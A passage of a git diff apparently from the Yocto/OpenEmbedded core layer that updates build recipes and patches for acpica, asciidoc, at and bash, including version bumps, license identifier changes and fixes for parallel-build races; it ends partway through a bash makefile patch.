diff options
Diffstat (limited to 'meta/recipes-extended')
237 files changed, 15902 insertions, 7141 deletions
diff --git a/meta/recipes-extended/acpica/acpica_20200528.bb b/meta/recipes-extended/acpica/acpica_20211217.bb index d68afd8158..d1727c1dab 100644 --- a/meta/recipes-extended/acpica/acpica_20200528.bb +++ b/meta/recipes-extended/acpica/acpica_20211217.bb @@ -9,15 +9,15 @@ ACPI tables." HOMEPAGE = "http://www.acpica.org/" SECTION = "console/tools" -LICENSE = "Intel | BSD | GPLv2" -LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=6adbcb81e9ee6ae50c569b94fe12f7c5" +LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only" +LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=c33ce358fdcd142684e41e336b7992e8" COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux" DEPENDS = "m4-native flex-native bison-native" SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz" -SRC_URI[sha256sum] = "e69f81c6924c8d30f9b9005bb002307f07b5a1538e13c909bea2f8a44e0d8610" +SRC_URI[sha256sum] = "2511f85828820d747fa3e2c3433d3a38c22db3d9c2fd900e1a84eb4173cb5992" UPSTREAM_CHECK_URI = "https://acpica.org/downloads" @@ -26,7 +26,7 @@ S = "${WORKDIR}/acpica-unix-${PV}" inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "acpixtract acpidump" +ALTERNATIVE:${PN} = "acpixtract acpidump" EXTRA_OEMAKE = "CC='${CC}' \ OPT_CFLAGS=-Wall \ @@ -34,6 +34,8 @@ EXTRA_OEMAKE = "CC='${CC}' \ PREFIX=${prefix} \ INSTALLDIR=${bindir} \ INSTALLFLAGS= \ + YACC=bison \ + YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \ " do_install() { @@ -42,8 +44,8 @@ do_install() { # iasl*.bb is a subset of this recipe, so RREPLACE it PROVIDES = "iasl" -RPROVIDES_${PN} += "iasl" -RREPLACES_${PN} += "iasl" -RCONFLICTS_${PN} += "iasl" +RPROVIDES:${PN} += "iasl" +RREPLACES:${PN} += "iasl" +RCONFLICTS:${PN} += "iasl" BBCLASSEXTEND = "native" diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch deleted file mode 100644 index ca170db00f..0000000000 --- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch +++ /dev/null @@ -1,53 +0,0 @@ -If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and -xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet -problems. - -An earlier version of this patch was filed upstream at -https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes -this could get merged. - -Upstream-Status: Inappropriate -Signed-off-by: Ross Burton <ross.burton@intel.com> - -diff --git a/a2x.py b/a2x.py -index 2d7699a..582d809 100755 ---- a/a2x.py -+++ b/a2x.py -@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump' - W3M_OPTS = '-dump -cols 70 -T text/html -no-graph' - XSLTPROC_OPTS = '' - -+if "SGML_CATALOG_FILES" in os.environ: -+ XMLLINT += " --catalogs" -+ XSLTPROC += " --catalogs" -+ - ###################################################################### - # End of configuration file parameters. - ###################################################################### -@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''): - cwd = os.getcwd() - shell_cd(dst_dir) - try: -- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file)) -+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file)) - finally: - shell_cd(cwd) - -@@ -483,7 +487,7 @@ class A2X(AttrDict): - self.asciidoc_opts += ' --doctype %s' % self.doctype - for attr in self.attributes: - self.asciidoc_opts += ' --attribute "%s"' % attr --# self.xsltproc_opts += ' --nonet' -+ self.xsltproc_opts += ' --nonet' - if self.verbose: - self.asciidoc_opts += ' --verbose' - self.dblatex_opts += ' -V' -@@ -634,7 +638,7 @@ class A2X(AttrDict): - shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' % - (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file)) - if not self.no_xmllint and XMLLINT: -- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file)) -+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file)) - - def to_xhtml(self): - self.to_docbook() diff --git a/meta/recipes-extended/asciidoc/asciidoc_9.0.0.bb b/meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb index 63e02ce5fc..4ab9edbce4 100644 --- a/meta/recipes-extended/asciidoc/asciidoc_9.0.0.bb +++ b/meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb @@ -4,13 +4,13 @@ articles, books and UNIX man pages." HOMEPAGE = "http://asciidoc.org/" -LICENSE = "GPLv2" -LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \ - file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 " +LICENSE = "GPL-2.0-only" +LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \ + file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ + " -SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https \ - file://auto-catalogs.patch" -SRCREV = "c44cb22b0cb110b69e4909c93c1cc6e2be5470cc" +SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main" +SRCREV = "c724bbf95b1840b04bb298a61a72b6a5ea94c2ef" DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native" @@ -20,12 +20,9 @@ S = "${WORKDIR}/git" # opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog" -# Not using automake -inherit autotools-brokensep +inherit setuptools3 CLEANBROKEN = "1" -# target and nativesdk needs python3, but for native we can use the host. -RDEPENDS_${PN} += "python3" -RDEPENDS_remove_class-native = "python3" - BBCLASSEXTEND = "native nativesdk" + +UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$" diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch index 7fdecc7fd1..fd57f94cd5 100644 --- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch +++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch @@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com> parsetime.y | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) -diff --git a/parsetime.y b/parsetime.y -index 7005e88..324e6d3 100644 ---- a/parsetime.y -+++ b/parsetime.y -@@ -8,6 +8,9 @@ - - #define YYDEBUG 1 +Index: at-3.2.1/parsetime.y +=================================================================== +--- at-3.2.1.orig/parsetime.y ++++ at-3.2.1/parsetime.y +@@ -14,6 +14,9 @@ + ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0)) + #endif +#define is_leap_year(y) \ + ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0)) + struct tm exectm; static int isgmt; - static int yearspec; -@@ -217,8 +220,8 @@ date : month_name day_number + static char *tz = NULL; +@@ -230,8 +233,8 @@ date : month_name day_number mnum == 12) && dnum > 31) || ((mnum == 4 || mnum == 6 || mnum == 9 || mnum == 11) && dnum > 30) @@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644 ) { yyerror("Error in day of month"); -@@ -261,8 +264,8 @@ date : month_name day_number +@@ -274,8 +277,8 @@ date : month_name day_number mnum == 12) && dnum > 31) || ((mnum == 4 || mnum == 6 || mnum == 9 || mnum == 11) && dnum > 30) @@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644 ) { yyerror("Error in day of month"); --- -2.8.1 - diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch index d5ef0032be..11023bdf52 100644 --- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch +++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch @@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files. Date: 2010/08/31 Nitin A Kamble nitin.a.kamble@intel.com -Index: at-3.1.12/Copyright +Index: at-3.2.1/Copyright =================================================================== ---- at-3.1.12.orig/Copyright -+++ at-3.1.12/Copyright -@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t +--- at-3.2.1.orig/Copyright ++++ at-3.2.1/Copyright +@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007 Free Software Foundation Inc. diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch deleted file mode 100644 index 30d2324126..0000000000 --- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch +++ /dev/null @@ -1,40 +0,0 @@ -From 24ef2a6544f9c7ec01bc7ae73dffa2974a1e251d Mon Sep 17 00:00:00 2001 -From: Chen Qi <Qi.Chen@windriver.com> -Date: Wed, 5 Dec 2018 09:46:22 +0800 -Subject: [PATCH] fix parallel build error - -make -j was failing sometimesa like this -| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed -| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory -| compilation terminated. -| make: *** [lex.yy.o] Error 1 -| make: *** Waiting for unfinished jobs.... - -Fixed the issue by adding a dependency in the makefile. -Nitin <nitin.a.kamble@intel.com> -2010/09/02 - -Upstream-Status: Pending - -Signed-off-by: Scott Garman <scott.a.garman@intel.com> -Signed-off-by: Chen Qi <Qi.Chen@windriver.com> ---- - Makefile.in | 2 ++ - 1 file changed, 2 insertions(+) - -diff --git a/Makefile.in b/Makefile.in -index 4c11913..18ecc23 100644 ---- a/Makefile.in -+++ b/Makefile.in -@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y - lex.yy.c: parsetime.l - $(LEX) -i parsetime.l - -+parsetime.l: y.tab.h -+ - atd.service: atd.service.in - cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@ - --- -2.7.4 - diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch index d6056dceff..adb8652053 100644 --- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch +++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch @@ -15,11 +15,11 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com> Makefile | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) -Index: at-3.1.20/Makefile.in +Index: at-3.2.1/Makefile.in =================================================================== ---- at-3.1.20.orig/Makefile.in -+++ at-3.1.20/Makefile.in -@@ -76,7 +76,9 @@ at: $(ATOBJECTS) +--- at-3.2.1.orig/Makefile.in ++++ at-3.2.1/Makefile.in +@@ -77,7 +77,9 @@ at: $(ATOBJECTS) atd: $(RUNOBJECTS) $(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB) diff --git a/meta/recipes-extended/at/at_3.1.23.bb b/meta/recipes-extended/at/at_3.2.5.bb index b74882d342..6769eb364b 100644 --- a/meta/recipes-extended/at/at_3.1.23.bb +++ b/meta/recipes-extended/at/at_3.2.5.bb @@ -3,7 +3,7 @@ HOMEPAGE = "http://blog.calhariz.com/" DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \ the system load levels drop to a particular level." SECTION = "base" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4" DEPENDS = "flex flex-native bison-native \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" @@ -14,33 +14,29 @@ PACKAGECONFIG ?= "\ PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux," -RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \ +RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \ " PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits" -RCONFLICTS_${PN} = "atd" -RREPLACES_${PN} = "atd" - -SRC_URI = "http://snapshot.debian.org/archive/debian/20180825T090248Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \ - file://fix_parallel_build_error.patch \ - file://posixtm.c \ - file://posixtm.h \ - file://file_replacement_with_gplv2.patch \ - file://atd.init \ - file://atd.service \ - ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \ - file://makefile-fix-parallel.patch \ - file://0001-remove-glibc-assumption.patch \ - " +RCONFLICTS:${PN} = "atd" +RREPLACES:${PN} = "atd" + +SRC_URI = "http://software.calhariz.com/at/${BPN}_${PV}.orig.tar.gz \ + file://posixtm.c \ + file://posixtm.h \ + file://file_replacement_with_gplv2.patch \ + file://atd.init \ + file://atd.service \ + ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \ + file://makefile-fix-parallel.patch \ + file://0001-remove-glibc-assumption.patch \ + " PAM_SRC_URI = "file://pam.conf.patch \ file://configure-add-enable-pam.patch" -SRC_URI[md5sum] = "1cec945506b5ddf1d776c92c315fc581" -SRC_URI[sha256sum] = "97450aa954aaa8a70218cc8e61a33df9fee9f86527e9f861de302fb7a3c81710" - -UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/" +SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8" EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \ --with-daemon_username=root \ @@ -54,12 +50,11 @@ inherit autotools-brokensep systemd update-rc.d INITSCRIPT_NAME = "atd" INITSCRIPT_PARAMS = "defaults" -SYSTEMD_SERVICE_${PN} = "atd.service" +SYSTEMD_SERVICE:${PN} = "atd.service" -copy_sources() { +do_configure:prepend() { cp -f ${WORKDIR}/posixtm.[ch] ${S} } -do_patch[postfuncs] += "copy_sources" do_install () { oe_runmake -e "IROOT=${D}" install @@ -68,11 +63,12 @@ do_install () { install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd # install systemd unit files - install -d ${D}${systemd_unitdir}/system - install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system - sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service + install -d ${D}${systemd_system_unitdir} + install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir} + sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd fi + rm -f ${D}${datadir}/at/batch-job } diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc index 1ebb33bdcd..18874a0e24 100644 --- a/meta/recipes-extended/bash/bash.inc +++ b/meta/recipes-extended/bash/bash.inc @@ -1,12 +1,13 @@ SUMMARY = "An sh-compatible command language interpreter" HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html" +DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features." SECTION = "base/shell" DEPENDS = "ncurses bison-native virtual/libiconv" inherit autotools gettext texinfo update-alternatives ptest -EXTRA_AUTORECONF += "--exclude=autoheader --exclude=aclocal" +EXTRA_AUTORECONF += "--exclude=autoheader" EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8" # If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the @@ -14,18 +15,25 @@ EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_o # This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137. CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS" -ALTERNATIVE_${PN} = "bash sh" +# This can vary depending upon the host +CFLAGS += "-DHEREDOC_PIPESIZE=65536" + +# Disable bracketed paste mode by default (enabled by default in bash 5.1). It +# causes a lot of garbage in non-interactive shells +CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0" + +ALTERNATIVE:${PN} = "bash sh" ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash" ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash" ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh" ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}" ALTERNATIVE_PRIORITY = "100" -RDEPENDS_${PN} += "base-files" -RDEPENDS_${PN}_class-nativesdk = "" -RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv" +RDEPENDS:${PN} += "base-files" +RDEPENDS:${PN}:class-nativesdk = "" +RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv" -RDEPENDS_${PN}-ptest_append_libc-glibc = " \ +RDEPENDS:${PN}-ptest:append:libc-glibc = " \ glibc-gconv-big5hkscs \ glibc-gconv-iso8859-1 \ glibc-utils \ @@ -38,7 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \ CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}" -do_compile_prepend() { +do_configure:prepend () { + if [ ! -e ${S}/acinclude.m4 ]; then + cat ${S}/aclocal.m4 > ${S}/acinclude.m4 + fi +} + +do_compile:prepend() { # Remove any leftover .build files. This ensures that bash always has the # same version number and keeps builds reproducible rm -f ${B}/.build @@ -48,14 +62,19 @@ do_compile_ptest () { oe_runmake buildtest } -do_install_append () { +do_install:prepend () { + # Ensure determinism as this counter increases for each make call + rm -f ${B}/.build +} + +do_install:append () { # Move /usr/bin/bash to /bin/bash, if need if [ "${base_bindir}" != "${bindir}" ]; then mkdir -p ${D}${base_bindir} mv ${D}${bindir}/bash ${D}${base_bindir} fi } -do_install_append_class-target () { +do_install:append:class-target () { # Clean buildhost references in bashbug sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \ -e "s,-I${WORKDIR}/\S* ,,g" \ @@ -77,6 +96,9 @@ do_install_append_class-target () { do_install_ptest () { make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test cp ${B}/Makefile ${D}${PTEST_PATH} + cp ${B}/config.h ${D}${PTEST_PATH} + cp ${B}/version.h ${D}${PTEST_PATH} + cp ${S}/y.tab.[ch] ${D}${PTEST_PATH} install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \ -e 's|${DEBUG_PREFIX_MAP}||g' \ @@ -90,20 +112,20 @@ do_install_ptest () { # hash do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER" -pkg_postinst_${PN} () { +pkg_postinst:${PN} () { grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells } -pkg_postrm_${PN} () { +pkg_postrm:${PN} () { printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells } PACKAGES += "${PN}-bashbug" -FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash" -FILES_${PN}-bashbug = "${bindir}/bashbug" +FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash" +FILES:${PN}-bashbug = "${bindir}/bashbug" PACKAGE_BEFORE_PN += "${PN}-loadable" -RDEPENDS_${PN}-loadable += "${PN}" -FILES_${PN}-loadable += "${libdir}/bash/*" +RDEPENDS:${PN}-loadable += "${PN}" +FILES:${PN}-loadable += "${libdir}/bash/*" -RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}" +RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}" diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch index 5f2dae94a1..ea38bace9b 100644 --- a/meta/recipes-extended/bash/bash/build-tests.patch +++ b/meta/recipes-extended/bash/bash/build-tests.patch @@ -1,19 +1,24 @@ -Add 'ptest' target to Makefile, to run tests without checking dependencies. +From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001 +From: Anders Roxell <anders.roxell@enea.com> +Date: Wed, 19 Dec 2012 17:18:31 +0100 +Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking + dependencies. Upstream-Status: Pending Signed-off-by: Anders Roxell <anders.roxell@enea.com> Rebase to 5.0 Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> + --- Makefile.in | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/Makefile.in b/Makefile.in -index 5fcb44b..de1c255 100644 +index bc97049..937ce39 100644 --- a/Makefile.in +++ b/Makefile.in -@@ -932,20 +932,34 @@ maybe-clean: +@@ -943,20 +943,34 @@ maybe-clean: fi recho$(EXEEXT): $(SUPPORT_SRC)recho.c @@ -51,8 +56,5 @@ index 5fcb44b..de1c255 100644 + +runtest: @( cd $(srcdir)/tests && \ - PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} ) + BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} ) --- -2.7.4 - diff --git a/meta/recipes-extended/bash/bash/makerace.patch b/meta/recipes-extended/bash/bash/makerace.patch new file mode 100644 index 0000000000..9bd7c280fe --- /dev/null +++ b/meta/recipes-extended/bash/bash/makerace.patch @@ -0,0 +1,52 @@ +We're seeing pipesize.h being created in parallel: + +/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h +/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h + +./mkbuiltins -D ../../bash-5.1/builtins ../../bash-5.1/builtins/ulimit.def +x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -c -DHAVE_CONFIG_H -DSHELL -I. -I.. -I../../bash-5.1 -I../../bash-5.1/include -I../../bash-5.1/lib -I../../bash-5.1/builtins -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= ulimit.c || ( rm -f ulimit.c ; exit 1 ) +make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins' +rm -f redir.o +x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -DPROGRAM='"bash"' -DCONF_HOSTTYPE='"x86_64"' -DCONF_OSTYPE='"linux-gnu"' -DCONF_MACHTYPE='"x86_64-pokysdk-linux-gnu"' -DCONF_VENDOR='"pokysdk"' -DLOCALEDIR='"/opt/poky/3.2+snapshot/sysroots/x86_64-pokysdk-linux/usr/share/locale"' -DPACKAGE='"bash"' -DSHELL -DHAVE_CONFIG_H -I. -I../bash-5.1 -I../bash-5.1/include -I../bash-5.1/lib -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= -c ../bash-5.1/redir.c +In file included from ../../bash-5.1/builtins/../../bash-5.1/builtins/ulimit.def:95: +pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token + 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy + | ^ +make[1]: *** [Makefile:119: ulimit.o] Error 1 +make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins' +make: *** [Makefile:737: builtins/libbuiltins.a] Error 1 +make: *** Waiting for unfinished jobs.... +In file included from ../bash-5.1/redir.c:61: +./builtins/pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token + 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy + | ^ +make: *** [Makefile:101: redir.o] Error 1 +WARNING: exit code 1 from a shell command. + +which happens since builtins/ulimit.o depends on pipesize.h as well as a top +level dependency. This means: + + @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1 + +races with: + + @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) DEBUG=${DEBUG} targets ) || exit 1 + +Hack around this by forcing BUILTINS_LIBRARY onto pipesize.h as a dependency. + +Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-bash/2021-01/msg00152.html] +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> + +Index: bash-5.1/Makefile.in +=================================================================== +--- bash-5.1.orig/Makefile.in ++++ bash-5.1/Makefile.in +@@ -746,7 +746,7 @@ ${DEFDIR}/bashgetopt.o: $(BUILTIN_SRCDIR + ${DEFDIR}/builtext.h: $(BUILTIN_DEFS) + @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) builtext.h ) || exit 1 + +-${DEFDIR}/pipesize.h: ++${DEFDIR}/pipesize.h: $(BUILTINS_LIBRARY) + @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1 + + $(SDIR)/man2html$(EXEEXT): ${SUPPORT_SRC}/man2html.c diff --git a/meta/recipes-extended/bash/bash/makerace2.patch b/meta/recipes-extended/bash/bash/makerace2.patch new file mode 100644 index 0000000000..43cdd04157 --- /dev/null +++ b/meta/recipes-extended/bash/bash/makerace2.patch @@ -0,0 +1,98 @@ +The main makefile can call mkbuiltins from multiple different codepaths in parallel. +When called, it moves the existing files out the way and creates new ones, then +compares which will break the build if timing is unlucky. + +The root of the problem is mkbuiltins.c creating a file but also referencing that +file under the same name. By modifing it to allow the final name and the temp name +to be specified, we can avoid the original reason for the moving of files around. +This allows them to be created under a new name and then replaced if changed, +removing any race windows around accessing the files whilst they've been +moved or are being rewritten. + +See [YOCTO #14227] + +Upstream-Status: Pending +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> + +Index: bash-5.1.8/builtins/Makefile.in +=================================================================== +--- bash-5.1.8.orig/builtins/Makefile.in ++++ bash-5.1.8/builtins/Makefile.in +@@ -185,19 +185,17 @@ gen-helpfiles: tmpbuiltins.o gen-helpfil + $(CC_FOR_BUILD) ${CCFLAGS_FOR_BUILD} $(LDFLAGS_FOR_BUILD) -o $@ gen-helpfiles.o tmpbuiltins.o $(LIBS_FOR_BUILD) + + builtext.h builtins.c: $(MKBUILTINS) $(DEFSRC) +- @-if test -f builtins.c; then mv -f builtins.c old-builtins.c; fi +- @-if test -f builtext.h; then mv -f builtext.h old-builtext.h; fi +- ./$(MKBUILTINS) -externfile builtext.h -structfile builtins.c \ ++ ./$(MKBUILTINS) -externfile builtext-new.h -externfinalfile builtext.h -structfile builtins-new.c \ + -noproduction $(DIRECTDEFINE) $(HELPDIRDEFINE) $(HELPSTRINGS) $(DEFSRC) 